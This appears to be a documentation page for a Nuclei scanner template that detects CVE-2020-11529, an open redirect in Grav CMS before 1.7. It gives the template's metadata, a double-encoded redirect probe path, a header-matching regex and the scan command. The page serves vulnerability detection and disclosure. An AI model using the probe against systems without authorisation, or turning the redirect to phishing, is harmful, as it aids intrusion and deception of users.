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Grav <1.7 - Open Redirect

ID: CVE-2020-11529

Severity: medium

Author: 0x_Akoko

Tags: cve2020,cve,redirect,grav,getgrav

Description

Section titled “Description”

Grav before 1.7 has an open redirect vulnerability via common/Grav.php. This is partially fixed in 1.6.23 and still present in 1.6.x.

YAML Source

Section titled “YAML Source”
id: CVE-2020-11529


info:
  name: Grav <1.7  - Open Redirect
  author: 0x_Akoko
  severity: medium
  description: Grav before 1.7 has an open redirect vulnerability via common/Grav.php. This is partially fixed in 1.6.23 and still present in 1.6.x.
  impact: |
    An attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks.
  remediation: |
    Upgrade Grav CMS to version 1.7 or later to fix the open redirect vulnerability.
  reference:
    - https://github.com/getgrav/grav/issues/3134
    - https://nvd.nist.gov/vuln/detail/CVE-2020-11529
    - https://github.com/getgrav/grav/commit/2eae104c7a4bf32bc26cb8073d5c40464bfda3f7
    - https://getgrav.org/#changelog
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-11529
    cwe-id: CWE-601
    epss-score: 0.00417
    epss-percentile: 0.7148
    cpe: cpe:2.3:a:getgrav:grav:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: getgrav
    product: grav
  tags: cve2020,cve,redirect,grav,getgrav


http:
  - method: GET
    path:
      - '{{BaseURL}}/%252f%255cinteract.sh%252fa%253fb/'


    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/L403F0/1
# digest: 4a0a00473045022100c91529c4531d18387e4f270c52d0f553767e9a76a3dc40ae5f38aa9884072f6b022077648423b586c6da5f2a2ae9f0fcd39110e08398422bc3dd50104420fe7ccbf6:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-11529.yaml"

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